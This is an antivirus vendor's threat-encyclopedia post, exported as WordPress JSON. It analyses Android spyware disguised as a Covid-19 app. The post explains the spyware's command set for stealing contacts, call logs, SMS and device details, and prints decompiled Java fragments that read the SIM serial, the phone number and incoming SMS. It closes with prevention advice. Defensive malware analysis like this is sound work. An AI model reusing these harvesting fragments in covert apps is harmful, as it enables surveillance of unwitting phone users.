{"id":139,"date":"2020-11-18T11:31:54","date_gmt":"2020-11-18T11:31:54","guid":{"rendered":"https:\/\/threats.amnpardaz.com\/en\/?p=139"},"modified":"2023-02-07T07:39:33","modified_gmt":"2023-02-07T07:39:33","slug":"spy-android-infostealer-covid","status":"publish","type":"post","link":"https:\/\/threats.amnpardaz.com\/en\/2020\/11\/18\/spy-android-infostealer-covid\/","title":{"rendered":"Spy.Android.InfoStealer.Covid"},"content":{"rendered":"<h2>General Explanation<\/h2>\n<p><strong>Type<\/strong>: Spyware<\/p>\n<p><strong>Degree of destruction<\/strong>: average<\/p>\n<p><strong>Prevalence<\/strong>: average<\/p>\n<h3>What is spyware?<\/h3>\n<p>By installing Spyware on your phone, the user\u2019s data security is always under threat and each second, it is possible to be stolen and received by an unauthorized person. Usually, spyware is installed on the phone secretly and out of the user\u2019s sight and performs its actions in complete secrecy. This kinds of spyware collect the necessary data about the user\u2019s activity on the phone or any other data that is necessary and at the right time will send it to another person. Usually, spyware by deceiving users on the internet will be installed on their phones, as a useful and applicant application. The malware collects the information about user\u2019s activity on the phone such as passwords, credit card information, and other security information such as compressed buttons by the keyboard and the user\u2019s call list, contact list, sending and receiving a text message, etc.<\/p>\n<h3>What is the InfoStealer malware family?<\/h3>\n<p>Malware writers, due to the current global situation, attempt to promote different malware families such as Banking Trojans, spyware, and SLocker Trojans based on the Covid-19 pandemic. Criminals seducing the current situation of the coronavirus pandemic to distribute malware applications related to this disease. A bunch of these applications are Coronavirus trackers, symptoms detection, maps, etc. In the current situation, people tend to install these kinds of applications and the likeliness of downloading these applications from invalid resources and markets is high. In most cases, the goal is to steal personal data such as SMSs, call reports, contacts lists, etc. InfoStealer is just a sample of spyware applications based on Covid-19.<\/p>\n<h2>Technical Explanation<\/h2>\n<p>Users install this application to get more information about the Coronavirus pandemic, but since this is spyware, will collect more sensitive information from the user\u2019s phone and send it to the infected server. As soon as running the application, the main function will start for a second but immediately the application will be closed. But in the background, a process will be processed and due to it the malicious codes will be run and the infecting operation will be initiated. The malware will connect to its command and control server and collect the sensitive data from the user\u2019s phone and sends them to its server. The address of this infected server, is in the assets folder, on the Settings.xml site.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-140 aligncenter\" src=\"https:\/\/threats.amnpardaz.com\/en\/wp-content\/uploads\/sites\/5\/2020\/11\/covif.jpg\" alt=\"\" width=\"700\" height=\"519\" \/><\/p>\n<p>After attempting a connection with the infected server, the malware will collect the following information from the user\u2019s phone and send it to the server:<\/p>\n<ul>\n<li>In the first step, it will attain the \u201cphone_id\u201d. This ID is unique for every android phone and in the first place, it will check that the phone processor type is 64bit. If the SDK version is lower than 21, the value of CPU_ABI is not returnable, because in this version it\u2019s deprecated. Otherwise, the returned value shows the unique ID of the user\u2019s phone. Also, it will attain the other value of SUPPROTED_64_BIT_ABIS which relates to the lower layers of Android OS and its processors.<\/li>\n<li>It will attain active lines on the user\u2019s phone along with SIM card signatures.<\/li>\n<\/ul>\n<p><code>public static String GetLine1Number()<\/code><\/p>\n<p><code>{<\/code><\/p>\n<p><code>String str2 = ((TelephonyManager)BA.applicationContext.getSystemService(\"phone\")).getLine1Number();<\/code><\/p>\n<p><code>String str1 = str2;<\/code><\/p>\n<p><code>if (str2 == null) {<\/code><\/p>\n<p><code>str1 = \"\";<\/code><\/p>\n<p><code>}<\/code><\/p>\n<p><code>return str1;<\/code><\/p>\n<p><code>}<\/code><\/p>\n<p><code>public static String GetSimSerialNumber()<\/code><\/p>\n<p><code>{<\/code><\/p>\n<p><code>String str2 = ((TelephonyManager)BA.applicationContext.getSystemService(\"phone\")).getSimSerialNumber();<\/code><\/p>\n<p><code>String str1 = str2;<\/code><\/p>\n<p><code>if (str2 == null) {<\/code><\/p>\n<p><code>str1 = \"\";<\/code><\/p>\n<p><code>}<\/code><\/p>\n<p><code>return str1;<\/code><\/p>\n<p><code>}<\/code><\/p>\n<p><strong>\u00a0<\/strong>it will specify the phone model and manufacturer<\/p>\n<ul>\n<li>Specifies the operator and the type of network connection. Information such as GPRS, LTE, etc.<\/li>\n<\/ul>\n<p><code>\u00a0public static String GetNetworkType()<\/code><\/p>\n<p><code>\u00a0 {<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0 switch (((TelephonyManager)BA.applicationContext.getSystemService(\"phone\")).getNetworkType())<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0 {<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0 default:<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0\u00a0\u00a0 return \"UNKNOWN\";<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0 case 7:<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0\u00a0\u00a0 return \"1xRTT\";<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0 case 4:<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0\u00a0\u00a0 return \"CDMA\";<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0 case 14:<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0\u00a0\u00a0 return \"EHRPD\";<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0 case 2:<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0\u00a0\u00a0 return \"EDGE\";<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0 case 5:<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0\u00a0\u00a0 return \"EVDO_0\";<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0 case 6:<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0\u00a0\u00a0 return \"EVDO_A\";<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0 case 12:<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0\u00a0\u00a0 return \"EVDO_B\";<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0 case 1:<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0\u00a0\u00a0 return \"GPRS\";<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0 case 8:<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0\u00a0\u00a0 return \"HSDPA\";<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0 case 10:<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0\u00a0\u00a0 return \"HSPA\";<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0 case 15:<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0\u00a0\u00a0 return \"HSPAP\";<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0 case 9:<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0\u00a0\u00a0 return \"HSUPA\";<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0 case 11:<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0\u00a0\u00a0 return \"IDEN\";<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0 case 13:<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0\u00a0\u00a0 return \"LTE\";<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0 }<\/code><\/p>\n<p><code>\u00a0\u00a0\u00a0 return \"UMTS\";<\/code><\/p>\n<p><code>\u00a0 }<\/code><\/p>\n<ul>\n<li>Specifies the method used to divert voice calls in the user\u2019s phone<strong>. <\/strong><\/li>\n<li>public <strong>static<\/strong> String GetPhoneType()<\/li>\n<\/ul>\n<p><code>{<\/code><\/p>\n<p><code>switch (((TelephonyManager)BA.applicationContext.getSystemService(\"phone\")).getPhoneType())<\/code><\/p>\n<p><code>{<\/code><\/p>\n<p><code>default:<\/code><\/p>\n<p><code>return \"NONE\";<\/code><\/p>\n<p><code>case 2:<\/code><\/p>\n<p><code>return \"CDMA\";<\/code><\/p>\n<p><code>}<\/code><\/p>\n<p><code>return \"GSM\";<\/code><\/p>\n<p><code>}<\/code><\/p>\n<ul>\n<li>It will attain the phone operators&#8217; list of active SIM cards. Also, this malware can steal the victim\u2019s data by using orders received from its server. This information is categorized as follows:<\/li>\n<li>CP: collects the list of all contacts from the victim\u2019s phone and sends them to its command and control server<\/li>\n<li>Call: collects the list of all income calls of the victim\u2019s phone and sends them to its command and control server.<\/li>\n<li>Info: collects the sensitive information of the device and sends it to its command and control server. This information is networkOperatorName, networkType, PhoneType, simOperator, Model, Manufacturer, SIM card serial number, IP number, address, and Wi-Fi-IP.<\/li>\n<li>MSG: showing a message on a page.<\/li>\n<li>CL: 11 ms after execution, will close the page and eventually ends the application process and then exits from the program.<\/li>\n<li>SMS: collects and checks the number and textual contents along with SMS and sends them all to its command and control server.<\/li>\n<\/ul>\n<p><code>public static _message[] _parsesmsintent()<\/code><\/p>\n<p><code>throws Exception<\/code><\/p>\n<p><code>{<\/code><\/p>\n<p><code>Object localObject2 = new IntentWrapper();<\/code><\/p>\n<p><code>((IntentWrapper)localObject2).Initialize(\"android.provider.Telephony.SMS_RECEIVED\", \"\");<\/code><\/p>\n<p><code>Object localObject1 = new _message[0];<\/code><\/p>\n<p><code>int j = localObject1.length;<\/code><\/p>\n<p><code>int i = 0;<\/code><\/p>\n<p><code>while (i &lt; j)<\/code><\/p>\n<p><code>{<\/code><\/p>\n<p><code>localObject1[i] = new _message();<\/code><\/p>\n<p><code>i += 1;<\/code><\/p>\n<p><code>}<\/code><\/p>\n<p><code>if (!((IntentWrapper)localObject2).HasExtra(\"pdus\")) {<\/code><\/p>\n<p><code>return (_message[])localObject1;<\/code><\/p>\n<p><code>}<\/code><\/p>\n<p><code>Object localObject3 = new Object[0];<\/code><\/p>\n<p><code>j = localObject3.length;<\/code><\/p>\n<p><code>i = 0;<\/code><\/p>\n<p><code>while (i &lt; j)<\/code><\/p>\n<p><code>{<\/code><\/p>\n<p><code>localObject3[i] = new Object();<\/code><\/p>\n<p><code>i += 1;<\/code><\/p>\n<p><code>}<\/code><\/p>\n<p><code>localObject3 = new Reflection();<\/code><\/p>\n<p><code>Object[] arrayOfObject = (Object[])((IntentWrapper)localObject2).GetExtra(\"pdus\");<\/code><\/p>\n<p><code>if (arrayOfObject.length &gt; 0)<\/code><\/p>\n<p><code>{<\/code><\/p>\n<p><code>localObject2 = new _message[arrayOfObject.length];<\/code><\/p>\n<p><code>j = localObject2.length;<\/code><\/p>\n<p><code>i = 0;<\/code><\/p>\n<p><code>while (i &lt; j)<\/code><\/p>\n<p><code>{<\/code><\/p>\n<p><code>localObject2[i] = new _message();<\/code><\/p>\n<p><code>i += 1;<\/code><\/p>\n<p><code>}<\/code><\/p>\n<p><code>j = arrayOfObject.length;<\/code><\/p>\n<p><code>i = 0;<\/code><\/p>\n<p><code>for (;;)<\/code><\/p>\n<p><code>{<\/code><\/p>\n<p><code>localObject1 = localObject2;<\/code><\/p>\n<p><code>if (i &gt; j - 1) {<\/code><\/p>\n<p><code>break;<\/code><\/p>\n<p><code>}<\/code><\/p>\n<p><code>((Reflection)localObject3).Target = ((Reflection)localObject3).RunStaticMethod(\"android.telephony.SmsMessage\", \"createFromPdu\", new Object[] { arrayOfObject[i] }, new String[] { \"[B\" });<\/code><\/p>\n<p><code>localObject2[i].Body = BA.ObjectToString(((Reflection)localObject3).RunMethod(\"getMessageBody\"));<\/code><\/p>\n<p><code>localObject2[i].Address = BA.ObjectToString(((Reflection)localObject3).RunMethod(\"getOriginatingAddress\"));<\/code><\/p>\n<p><code>i += 1;<\/code><\/p>\n<p><code>}<\/code><\/p>\n<p><code>}<\/code><\/p>\n<p><code>return (_message[])localObject1;<\/code><\/p>\n<p><code>}<\/code><\/p>\n<h2>How to deal with it and disinfect the system<\/h2>\n<p>To ensure that the system is not infected, install the <a href=\"https:\/\/padvish.com\/en-us\/Main\" target=\"_blank\" rel=\"noopener\">Padvish antivirus<\/a> database file, keep it up to date, and scan the anti-virus.<\/p>\n<p><strong>Method of preventing phone infection<\/strong>:<\/p>\n<ol>\n<li style=\"min-height: 1.5em\">Avoid downloading and installing the application from unauthorized resources.<\/li>\n<li style=\"min-height: 1.5em\">Note the desired permission, when installing the application.<\/li>\n<li style=\"min-height: 1.5em\">Constantly back up the stored files and data.<\/li>\n<li style=\"min-height: 1.5em\">Do not use unofficial versions of any applications. Applications such as Telegram and Instagram have many unofficial versions and most of them are released through the Telegram channel.<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>General Explanation Type: Spyware Degree of destruction: average Prevalence: average What is spyware? By installing Spyware on your phone, the user\u2019s data security is always under threat and each second, it is possible to be stolen and received by an unauthorized person. Usually, spyware is installed on the phone secretly and out of the user\u2019s&hellip;<\/p>\n","protected":false},"author":16,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[24],"class_list":["post-139","post","type-post","status-publish","format-standard","hentry","category-spyware","tag-android"],"_links":{"self":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts\/139","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/comments?post=139"}],"version-history":[{"count":8,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts\/139\/revisions"}],"predecessor-version":[{"id":1241,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts\/139\/revisions\/1241"}],"wp:attachment":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/media?parent=139"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/categories?post=139"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/tags?post=139"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}